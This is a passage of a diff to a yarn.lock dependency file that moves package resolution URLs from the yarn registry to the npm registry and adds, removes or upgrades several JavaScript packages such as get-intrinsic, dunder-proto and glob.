--  resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b"
-+  resolved "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz"
-   integrity sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==
- 
--console-control-strings@^1.1.0:
--  version "1.1.0"
--  resolved "https://registry.yarnpkg.com/console-control-strings/-/console-control-strings-1.1.0.tgz#3d7cf4464db6446ea644bf4b39507f9851008e8e"
--  integrity sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8sQ==
--
- continuable-cache@^0.3.1:
-   version "0.3.1"
--  resolved "https://registry.yarnpkg.com/continuable-cache/-/continuable-cache-0.3.1.tgz#bd727a7faed77e71ff3985ac93351a912733ad0f"
-+  resolved "https://registry.npmjs.org/continuable-cache/-/continuable-cache-0.3.1.tgz"
-   integrity sha512-TF30kpKhTH8AGCG3dut0rdd/19B7Z+qCnrMoBLpyQu/2drZdNrrpcjPEoJeSVsQM+8KmWG5O56oPDjSSUsuTyA==
- 
--core-util-is@~1.0.0:
--  version "1.0.3"
--  resolved "https://registry.yarnpkg.com/core-util-is/-/core-util-is-1.0.3.tgz#a6042d3634c2b27e9328f837b965fac83808db85"
--  integrity sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==
--
--cross-spawn@^7.0.3:
--  version "7.0.6"
--  resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-7.0.6.tgz#8a58fe78f00dcd70c370451759dfbfaf03e8ee9f"
--  integrity sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==
--  dependencies:
--    path-key "^3.1.0"
--    shebang-command "^2.0.0"
--    which "^2.0.1"
--
- dateformat@~4.6.2:
-   version "4.6.3"
--  resolved "https://registry.yarnpkg.com/dateformat/-/dateformat-4.6.3.tgz#556fa6497e5217fedb78821424f8a1c22fa3f4b5"
-+  resolved "https://registry.npmjs.org/dateformat/-/dateformat-4.6.3.tgz"
-   integrity sha512-2P0p0pFGzHS5EMnhdxQi7aJN+iMheud0UhG4dlE1DLAlvL8JHjJJTX/CSm4JXwV0Ka5nGk3zC5mcb5bUQUxxMA==
- 
--debug@4, debug@^4.3.3:
--  version "4.3.7"
--  resolved "https://registry.yarnpkg.com/debug/-/debug-4.3.7.tgz#87945b4151a011d76d95a198d7111c865c360a52"
--  integrity sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==
--  dependencies:
--    ms "^2.1.3"
--
- debug@^3.1.0:
-   version "3.2.7"
--  resolved "https://registry.yarnpkg.com/debug/-/debug-3.2.7.tgz#72580b7e9145fb39b6676f9c5e5fb100b934179a"
-+  resolved "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz"
-   integrity sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==
-   dependencies:
-     ms "^2.1.1"
- 
--decamelize-keys@^1.1.0:
--  version "1.1.1"
--  resolved "https://registry.yarnpkg.com/decamelize-keys/-/decamelize-keys-1.1.1.tgz#04a2d523b2f18d80d0158a43b895d56dff8d19d8"
--  integrity sha512-WiPxgEirIV0/eIOMcnFBA3/IJZAZqKnwAwWyvvdi4lsr1WCN22nhdf/3db3DoZcUjTV2SqfzIwNyp6y2xs3nmg==
--  dependencies:
--    decamelize "^1.1.0"
--    map-obj "^1.0.0"
--
--decamelize@^1.1.0, decamelize@^1.2.0:
--  version "1.2.0"
--  resolved "https://registry.yarnpkg.com/decamelize/-/decamelize-1.2.0.tgz#f6534d15148269b20352e7bee26f501f9a191290"
--  integrity sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==
--
--define-data-property@^1.1.4:
--  version "1.1.4"
--  resolved "https://registry.yarnpkg.com/define-data-property/-/define-data-property-1.1.4.tgz#894dc141bb7d3060ae4366f6a0107e68fbe48c5e"
--  integrity sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==
--  dependencies:
--    es-define-property "^1.0.0"
--    es-errors "^1.3.0"
--    gopd "^1.0.1"
--
- delegate@^3.1.2:
-   version "3.2.0"
--  resolved "https://registry.yarnpkg.com/delegate/-/delegate-3.2.0.tgz#b66b71c3158522e8ab5744f720d8ca0c2af59166"
-+  resolved "https://registry.npmjs.org/delegate/-/delegate-3.2.0.tgz"
-   integrity sha512-IofjkYBZaZivn0V8nnsMJGBr4jVLxHDheKSW88PyxS5QC4Vo9ZbZVvhzlSxY87fVq3STR6r+4cGepyHkcWOQSw==
- 
--delegates@^1.0.0:
--  version "1.0.0"
--  resolved "https://registry.yarnpkg.com/delegates/-/delegates-1.0.0.tgz#84c6e159b81904fdca59a0ef44cd870d31250f9a"
--  integrity sha512-bd2L678uiWATM6m5Z1VzNCErI3jiGzt6HGY8OVICs40JQq/HALfbyNJmp0UDakEY4pMMaN0Ly5om/B1VI/+xfQ==
--
- detect-file@^1.0.0:
-   version "1.0.0"
--  resolved "https://registry.yarnpkg.com/detect-file/-/detect-file-1.0.0.tgz#f0d66d03672a825cb1b73bdb3fe62310c8e552b7"
-+  resolved "https://registry.npmjs.org/detect-file/-/detect-file-1.0.0.tgz"
-   integrity sha512-DtCOLG98P007x7wiiOmfI0fi3eIKyWiLTGJ2MDnVi/E04lWGbf+JzrRHMm0rgIIZJGtHpKpbVgLWHrv8xXpc3Q==
- 
-+detect-libc@^1.0.3:
-+  version "1.0.3"
-+  resolved "https://registry.npmjs.org/detect-libc/-/detect-libc-1.0.3.tgz"
-+  integrity sha512-pGjwhsmsp4kL2RTz08wcOlGN83otlqHeD/Z5T8GXZB+/YcpQ/dgo+lbU8ZsGxV0HIvqqxo9l7mqYwyYMD9bKDg==
-+
- diff@^3.0.0:
-   version "3.5.0"
--  resolved "https://registry.yarnpkg.com/diff/-/diff-3.5.0.tgz#800c0dd1e0a8bfbc95835c202ad220fe317e5a12"
-+  resolved "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz"
-   integrity sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==
- 
- dropzone@5.9.3:
-   version "5.9.3"
--  resolved "https://registry.yarnpkg.com/dropzone/-/dropzone-5.9.3.tgz#b3070ae090fa48cbc04c17535635537ca72d70d6"
-+  resolved "https://registry.npmjs.org/dropzone/-/dropzone-5.9.3.tgz"
-   integrity sha512-Azk8kD/2/nJIuVPK+zQ9sjKMRIpRvNyqn9XwbBHNq+iNuSccbJS6hwm1Woy0pMST0erSo0u4j+KJaodndDk4vA==
- 
-+dunder-proto@^1.0.1:
-+  version "1.0.1"
-+  resolved "https://registry.yarnpkg.com/dunder-proto/-/dunder-proto-1.0.1.tgz#d7ae667e1dc83482f8b70fd0f6eefc50da30f58a"
-+  integrity sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==
-+  dependencies:
-+    call-bind-apply-helpers "^1.0.1"
-+    es-errors "^1.3.0"
-+    gopd "^1.2.0"
-+
- duplexer@^0.1.1:
-   version "0.1.2"
--  resolved "https://registry.yarnpkg.com/duplexer/-/duplexer-0.1.2.tgz#3abe43aef3835f8ae077d136ddce0f276b0400e6"
-+  resolved "https://registry.npmjs.org/duplexer/-/duplexer-0.1.2.tgz"
-   integrity sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==
- 
--electron-to-chromium@^1.5.41:
--  version "1.5.67"
--  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.67.tgz#66ebd2be4a77469ac2760ef5e9e460ba9a43a845"
--  integrity sha512-nz88NNBsD7kQSAGGJyp8hS6xSPtWwqNogA0mjtc2nUYeEf3nURK9qpV18TuBdDmEDgVWotS8Wkzf+V52dSQ/LQ==
--
--emoji-regex@^8.0.0:
--  version "8.0.0"
--  resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-8.0.0.tgz#e818fd69ce5ccfcb404594f842963bf53164cc37"
--  integrity sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==
--
--encoding@^0.1.12, encoding@^0.1.13:
--  version "0.1.13"
--  resolved "https://registry.yarnpkg.com/encoding/-/encoding-0.1.13.tgz#56574afdd791f54a8e9b2785c0582a2d26210fa9"
--  integrity sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A==
--  dependencies:
--    iconv-lite "^0.6.2"
--
--env-paths@^2.2.0:
--  version "2.2.1"
--  resolved "https://registry.yarnpkg.com/env-paths/-/env-paths-2.2.1.tgz#420399d416ce1fbe9bc0a07c62fa68d67fd0f8f2"
--  integrity sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==
--
--err-code@^2.0.2:
--  version "2.0.3"
--  resolved "https://registry.yarnpkg.com/err-code/-/err-code-2.0.3.tgz#23c2f3b756ffdfc608d30e27c9a941024807e7f9"
--  integrity sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==
--
--error-ex@^1.3.1:
--  version "1.3.2"
--  resolved "https://registry.yarnpkg.com/error-ex/-/error-ex-1.3.2.tgz#b4ac40648107fdcdcfae242f428bea8a14d4f1bf"
--  integrity sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==
--  dependencies:
--    is-arrayish "^0.2.1"
-+electron-to-chromium@^1.5.173:
-+  version "1.5.182"
-+  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.182.tgz#4ab73104f893938acb3ab9c28d7bec170c116b3e"
-+  integrity sha512-Lv65Btwv9W4J9pyODI6EWpdnhfvrve/us5h1WspW8B2Fb0366REPtY3hX7ounk1CkV/TBjWCEvCBBbYbmV0qCA==
- 
- error@^7.0.0:
-   version "7.2.1"
--  resolved "https://registry.yarnpkg.com/error/-/error-7.2.1.tgz#eab21a4689b5f684fc83da84a0e390de82d94894"
-+  resolved "https://registry.npmjs.org/error/-/error-7.2.1.tgz"
-   integrity sha512-fo9HBvWnx3NGUKMvMwB/CBCMMrfEJgbDTVDEkPygA3Bdd3lM1OyCd+rbQ8BwnpF6GdVeOLDNmyL4N5Bg80ZvdA==
-   dependencies:
-     string-template "~0.2.1"
- 
--es-define-property@^1.0.0:
--  version "1.0.0"
--  resolved "https://registry.yarnpkg.com/es-define-property/-/es-define-property-1.0.0.tgz#c7faefbdff8b2696cf5f46921edfb77cc4ba3845"
--  integrity sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==
--  dependencies:
--    get-intrinsic "^1.2.4"
-+es-define-property@^1.0.1:
-+  version "1.0.1"
-+  resolved "https://registry.yarnpkg.com/es-define-property/-/es-define-property-1.0.1.tgz#983eb2f9a6724e9303f61addf011c72e09e0b0fa"
-+  integrity sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==
- 
- es-errors@^1.3.0:
-   version "1.3.0"
-   resolved "https://registry.yarnpkg.com/es-errors/-/es-errors-1.3.0.tgz#05f75a25dab98e4fb1dcd5e1472c0546d5057c8f"
-   integrity sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==
- 
--escalade@^3.1.1, escalade@^3.2.0:
-+es-object-atoms@^1.0.0, es-object-atoms@^1.1.1:
-+  version "1.1.1"
-+  resolved "https://registry.yarnpkg.com/es-object-atoms/-/es-object-atoms-1.1.1.tgz#1c4f2c4837327597ce69d2ca190a7fdd172338c1"
-+  integrity sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==
-+  dependencies:
-+    es-errors "^1.3.0"
-+
-+escalade@^3.2.0:
-   version "3.2.0"
-   resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.2.0.tgz#011a3f69856ba189dffa7dc8fcce99d2a87903e5"
-   integrity sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==
- 
- escape-string-regexp@^1.0.2, escape-string-regexp@^1.0.5:
-   version "1.0.5"
--  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4"
-+  resolved "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz"
-   integrity sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==
- 
- esprima@^4.0.0:
-   version "4.0.1"
--  resolved "https://registry.yarnpkg.com/esprima/-/esprima-4.0.1.tgz#13b04cdb3e6c5d19df91ab6987a8695619b0aa71"
-+  resolved "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz"
-   integrity sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==
- 
- eventemitter2@~0.4.13:
-   version "0.4.14"
--  resolved "https://registry.yarnpkg.com/eventemitter2/-/eventemitter2-0.4.14.tgz#8f61b75cde012b2e9eb284d4545583b5643b61ab"
-+  resolved "https://registry.npmjs.org/eventemitter2/-/eventemitter2-0.4.14.tgz"
-   integrity sha512-K7J4xq5xAD5jHsGM5ReWXRTFa3JRGofHiMcVgQ8PRwgWxzjHpMWCIzsmyf60+mh8KLsqYPcjUMa0AC4hd6lPyQ==
- 
- exit@~0.1.2:
-   version "0.1.2"
--  resolved "https://registry.yarnpkg.com/exit/-/exit-0.1.2.tgz#0632638f8d877cc82107d30a0fff1a17cba1cd0c"
-+  resolved "https://registry.npmjs.org/exit/-/exit-0.1.2.tgz"
-   integrity sha512-Zk/eNKV2zbjpKzrsQ+n1G6poVbErQxJ0LBOJXaKZ1EViLzH+hrLu9cdXI4zw9dBQJslwBEpbQ2P1oS7nDxs6jQ==
- 
- expand-tilde@^2.0.0, expand-tilde@^2.0.2:
-   version "2.0.2"
--  resolved "https://registry.yarnpkg.com/expand-tilde/-/expand-tilde-2.0.2.tgz#97e801aa052df02454de46b02bf621642cdc8502"
-+  resolved "https://registry.npmjs.org/expand-tilde/-/expand-tilde-2.0.2.tgz"
-   integrity sha512-A5EmesHW6rfnZ9ysHQjPdJRni0SRar0tjtG5MNtm9n5TUvsYU8oozprtRD4AqHxcZWWlVuAmQo2nWKfN9oyjTw==
-   dependencies:
-     homedir-polyfill "^1.0.1"
- 
- extend@^3.0.2:
-   version "3.0.2"
--  resolved "https://registry.yarnpkg.com/extend/-/extend-3.0.2.tgz#f8b1136b4071fbd8eb140aff858b1019ec2915fa"
-+  resolved "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz"
-   integrity sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==
- 
- faye-websocket@~0.10.0:
-   version "0.10.0"
--  resolved "https://registry.yarnpkg.com/faye-websocket/-/faye-websocket-0.10.0.tgz#4e492f8d04dfb6f89003507f6edbf2d501e7c6f4"
-+  resolved "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.10.0.tgz"
-   integrity sha512-Xhj93RXbMSq8urNCUq4p9l0P6hnySJ/7YNRhYNug0bLOuii7pKO7xQFb5mx9xZXWCar88pLPb805PvUkwrLZpQ==
-   dependencies:
-     websocket-driver ">=0.5.1"
- 
- figures@^3.2.0:
-   version "3.2.0"
--  resolved "https://registry.yarnpkg.com/figures/-/figures-3.2.0.tgz#625c18bd293c604dc4a8ddb2febf0c88341746af"
-+  resolved "https://registry.npmjs.org/figures/-/figures-3.2.0.tgz"
-   integrity sha512-yaduQFRKLXYOGgEn6AZau90j3ggSOyiqXU0F9JZfeXYhNa+Jk4X+s45A2zg5jns87GAFa34BBm2kXw4XpNcbdg==
-   dependencies:
-     escape-string-regexp "^1.0.5"
- 
- file-sync-cmp@^0.1.0:
-   version "0.1.1"
--  resolved "https://registry.yarnpkg.com/file-sync-cmp/-/file-sync-cmp-0.1.1.tgz#a5e7a8ffbfa493b43b923bbd4ca89a53b63b612b"
-+  resolved "https://registry.npmjs.org/file-sync-cmp/-/file-sync-cmp-0.1.1.tgz"
-   integrity sha512-0k45oWBokCqh2MOexeYKpyqmGKG+8mQ2Wd8iawx+uWd/weWJQAZ6SoPybagdCI4xFisag8iAR77WPm4h3pTfxA==
- 
- fill-range@^7.1.1:
-@@ -664,22 +488,14 @@ fill-range@^7.1.1:
- 
- find-up@^3.0.0:
-   version "3.0.0"
--  resolved "https://registry.yarnpkg.com/find-up/-/find-up-3.0.0.tgz#49169f1d7993430646da61ecc5ae355c21c97b73"
-+  resolved "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz"
-   integrity sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==
-   dependencies:
-     locate-path "^3.0.0"
- 
--find-up@^4.1.0:
--  version "4.1.0"
--  resolved "https://registry.yarnpkg.com/find-up/-/find-up-4.1.0.tgz#97afe7d6cdc0bc5928584b7c8d7b16e8a9aa5d19"
--  integrity sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==
--  dependencies:
--    locate-path "^5.0.0"
--    path-exists "^4.0.0"
--
- findup-sync@^4.0.0:
-   version "4.0.0"
--  resolved "https://registry.yarnpkg.com/findup-sync/-/findup-sync-4.0.0.tgz#956c9cdde804052b881b428512905c4a5f2cdef0"
-+  resolved "https://registry.npmjs.org/findup-sync/-/findup-sync-4.0.0.tgz"
-   integrity sha512-6jvvn/12IC4quLBL1KNokxC7wWTvYncaVUYSoxWw7YykPLuRrnv4qdHcSOywOI5RpkOVGeQRtWM8/q+G6W6qfQ==
-   dependencies:
-     detect-file "^1.0.0"
-@@ -689,7 +505,7 @@ findup-sync@^4.0.0:
- 
- findup-sync@~5.0.0:
-   version "5.0.0"
--  resolved "https://registry.yarnpkg.com/findup-sync/-/findup-sync-5.0.0.tgz#54380ad965a7edca00cc8f63113559aadc541bd2"
-+  resolved "https://registry.npmjs.org/findup-sync/-/findup-sync-5.0.0.tgz"
-   integrity sha512-MzwXju70AuyflbgeOhzvQWAvvQdo1XL0A9bVvlXsYcFEBM87WR4OakL4OfZq+QRmr+duJubio+UtNQCPsVESzQ==
-   dependencies:
-     detect-file "^1.0.0"
-@@ -699,7 +515,7 @@ findup-sync@~5.0.0:
- 
- fined@^1.2.0:
-   version "1.2.0"
--  resolved "https://registry.yarnpkg.com/fined/-/fined-1.2.0.tgz#d00beccf1aa2b475d16d423b0238b713a2c4a37b"
-+  resolved "https://registry.npmjs.org/fined/-/fined-1.2.0.tgz"
-   integrity sha512-ZYDqPLGxDkDhDZBjZBb+oD1+j0rA4E0pXY50eplAAOPg2N/gUBSSk5IM1/QhPfyVo19lJ+CvXpqfvk+b2p/8Ng==
-   dependencies:
-     expand-tilde "^2.0.2"
-@@ -710,93 +526,75 @@ fined@^1.2.0:
- 
- flagged-respawn@^1.0.1:
-   version "1.0.1"
--  resolved "https://registry.yarnpkg.com/flagged-respawn/-/flagged-respawn-1.0.1.tgz#e7de6f1279ddd9ca9aac8a5971d618606b3aab41"
-+  resolved "https://registry.npmjs.org/flagged-respawn/-/flagged-respawn-1.0.1.tgz"
-   integrity sha512-lNaHNVymajmk0OJMBn8fVUAU1BtDeKIqKoVhk4xAALB57aALg6b4W0MfJ/cUE0g9YBXy5XhSlPIpYIJ7HaY/3Q==
- 
- font-awesome@4.7:
-   version "4.7.0"
--  resolved "https://registry.yarnpkg.com/font-awesome/-/font-awesome-4.7.0.tgz#8fa8cf0411a1a31afd07b06d2902bb9fc815a133"
-+  resolved "https://registry.npmjs.org/font-awesome/-/font-awesome-4.7.0.tgz"
-   integrity sha512-U6kGnykA/6bFmg1M/oT9EkFeIYv7JlX3bozwQJWiiLz6L0w3F5vBVPxHlwyX/vtNq1ckcpRKOB9f2Qal/VtFpg==
- 
- for-in@^1.0.1:
-   version "1.0.2"
--  resolved "https://registry.yarnpkg.com/for-in/-/for-in-1.0.2.tgz#81068d295a8142ec0ac726c6e2200c30fb6d5e80"
-+  resolved "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz"
-   integrity sha512-7EwmXrOjyL+ChxMhmG5lnW9MPt1aIeZEwKhQzoBUdTV0N3zuwWDZYVJatDvZ2OyzPUvdIAZDsCetk3coyMfcnQ==
- 
- for-own@^1.0.0:
-   version "1.0.0"
--  resolved "https://registry.yarnpkg.com/for-own/-/for-own-1.0.0.tgz#c63332f415cedc4b04dbfe70cf836494c53cb44b"
-+  resolved "https://registry.npmjs.org/for-own/-/for-own-1.0.0.tgz"
-   integrity sha512-0OABksIGrxKK8K4kynWkQ7y1zounQxP+CWnyclVwj81KW3vlLlGUx57DKGcP/LH216GzqnstnPocF16Nxs0Ycg==
-   dependencies:
-     for-in "^1.0.1"
- 
--fs-minipass@^2.0.0, fs-minipass@^2.1.0:
--  version "2.1.0"
--  resolved "https://registry.yarnpkg.com/fs-minipass/-/fs-minipass-2.1.0.tgz#7f5036fdbf12c63c169190cbe4199c852271f9fb"
--  integrity sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==
--  dependencies:
--    minipass "^3.0.0"
--
- fs.realpath@^1.0.0:
-   version "1.0.0"
--  resolved "https://registry.yarnpkg.com/fs.realpath/-/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f"
-+  resolved "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz"
-   integrity sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==
- 
- function-bind@^1.1.2:
-   version "1.1.2"
--  resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.2.tgz#2c02d864d97f3ea6c8830c464cbd11ab6eab7a1c"
-+  resolved "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz"
-   integrity sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==
- 
--gauge@^4.0.3:
--  version "4.0.4"
--  resolved "https://registry.yarnpkg.com/gauge/-/gauge-4.0.4.tgz#52ff0652f2bbf607a989793d53b751bef2328dce"
--  integrity sha512-f9m+BEN5jkg6a0fZjleidjN51VE1X+mPFQ2DJ0uv1V39oCLCbsGe6yjbBnp7eK7z/+GAon99a3nHuqbuuthyPg==
--  dependencies:
--    aproba "^1.0.3 || ^2.0.0"
--    color-support "^1.1.3"
--    console-control-strings "^1.1.0"
--    has-unicode "^2.0.1"
--    signal-exit "^3.0.7"
--    string-width "^4.2.3"
--    strip-ansi "^6.0.1"
--    wide-align "^1.1.5"
--
--gaze@^1.0.0, gaze@^1.1.0:
-+gaze@^1.1.0:
-   version "1.1.3"
--  resolved "https://registry.yarnpkg.com/gaze/-/gaze-1.1.3.tgz#c441733e13b927ac8c0ff0b4c3b033f28812924a"
-+  resolved "https://registry.npmjs.org/gaze/-/gaze-1.1.3.tgz"
-   integrity sha512-BRdNm8hbWzFzWHERTrejLqwHDfS4GibPoq5wjTPIoJHoBtKGPg3xAFfxmM+9ztbXelxcf2hwQcaz1PtmFeue8g==
-   dependencies:
-     globule "^1.0.0"
- 
--get-caller-file@^2.0.5:
--  version "2.0.5"
--  resolved "https://registry.yarnpkg.com/get-caller-file/-/get-caller-file-2.0.5.tgz#4f94412a82db32f36e3b0b9741f8a97feb031f7e"
--  integrity sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==
--
--get-intrinsic@^1.2.4:
--  version "1.2.4"
--  resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.2.4.tgz#e385f5a4b5227d449c3eabbad05494ef0abbeadd"
--  integrity sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==
-+get-intrinsic@^1.2.5, get-intrinsic@^1.3.0:
-+  version "1.3.0"
-+  resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.3.0.tgz#743f0e3b6964a93a5491ed1bffaae054d7f98d01"
-+  integrity sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==
-   dependencies:
-+    call-bind-apply-helpers "^1.0.2"
-+    es-define-property "^1.0.1"
-     es-errors "^1.3.0"
-+    es-object-atoms "^1.1.1"
-     function-bind "^1.1.2"
--    has-proto "^1.0.1"
--    has-symbols "^1.0.3"
--    hasown "^2.0.0"
-+    get-proto "^1.0.1"
-+    gopd "^1.2.0"
-+    has-symbols "^1.1.0"
-+    hasown "^2.0.2"
-+    math-intrinsics "^1.1.0"
- 
--get-stdin@^4.0.1:
--  version "4.0.1"
--  resolved "https://registry.yarnpkg.com/get-stdin/-/get-stdin-4.0.1.tgz#b968c6b0a04384324902e8bf1a5df32579a450fe"
--  integrity sha512-F5aQMywwJ2n85s4hJPTT9RPxGmubonuB10MNYo17/xph174n2MIR33HRguhzVag10O/npM7SPk73LMZNP+FaWw==
-+get-proto@^1.0.1:
-+  version "1.0.1"
-+  resolved "https://registry.yarnpkg.com/get-proto/-/get-proto-1.0.1.tgz#150b3f2743869ef3e851ec0c49d15b1d14d00ee1"
-+  integrity sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==
-+  dependencies:
-+    dunder-proto "^1.0.1"
-+    es-object-atoms "^1.0.0"
- 
- getobject@~1.0.0:
-   version "1.0.2"
--  resolved "https://registry.yarnpkg.com/getobject/-/getobject-1.0.2.tgz#25ec87a50370f6dcc3c6ba7ef43c4c16215c4c89"
-+  resolved "https://registry.npmjs.org/getobject/-/getobject-1.0.2.tgz"
-   integrity sha512-2zblDBaFcb3rB4rF77XVnuINOE2h2k/OnqXAiy0IrTxUfV1iFp3la33oAQVY9pCpWU268WFYVt2t71hlMuLsOg==
- 
--glob@^7.0.0, glob@^7.0.3, glob@^7.1.3, glob@^7.1.4:
-+glob@^7.1.3:
-   version "7.2.3"
--  resolved "https://registry.yarnpkg.com/glob/-/glob-7.2.3.tgz#b8df0fb802bbfa8e89bd1d938b4e16578ed44f2b"
-+  resolved "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz"
-   integrity sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==
-   dependencies:
-     fs.realpath "^1.0.0"
-@@ -806,20 +604,9 @@ glob@^7.0.0, glob@^7.0.3, glob@^7.1.3, glob@^7.1.4:
-     once "^1.3.0"
-     path-is-absolute "^1.0.0"
- 
--glob@^8.0.1:
--  version "8.1.0"
--  resolved "https://registry.yarnpkg.com/glob/-/glob-8.1.0.tgz#d388f656593ef708ee3e34640fdfb99a9fd1c33e"
--  integrity sha512-r8hpEjiQEYlF2QU0df3dS+nxxSIreXQS1qRhMJM0Q5NDdR386C7jb7Hwwod8Fgiuex+k0GFjgft18yvxm5XoCQ==
--  dependencies:
--    fs.realpath "^1.0.0"
--    inflight "^1.0.4"
--    inherits "2"
